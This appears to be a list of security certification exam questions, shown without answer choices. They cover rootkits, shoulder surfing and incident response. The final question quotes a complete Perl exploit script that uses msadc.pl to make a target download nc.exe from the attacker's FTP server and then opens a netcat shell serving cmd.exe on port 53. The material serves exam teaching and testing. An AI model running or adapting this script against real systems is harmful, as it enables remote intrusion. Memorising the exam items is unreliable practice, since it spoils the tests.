Which of the following rootkits is used to attack against full disk encryption systems?

Which of the following types of attacks is often performed by looking surreptitiously at the keyboard or monitor of an employee's computer?

Which of the following steps of incident response is steady in nature?

Which of the following rootkits adds additional code or replaces portions of an operating system, including both the kernel and associated device drivers?

Adam, a malicious hacker performs an exploit, which is given below:
##################################################### $port = 53; # Spawn cmd.exe on port X $your = "192.168.1.1";# Your FTP Server 89 $user = "Anonymous";# login as $pass = '[email protected]';# password ##################################################### $host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n"; #system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?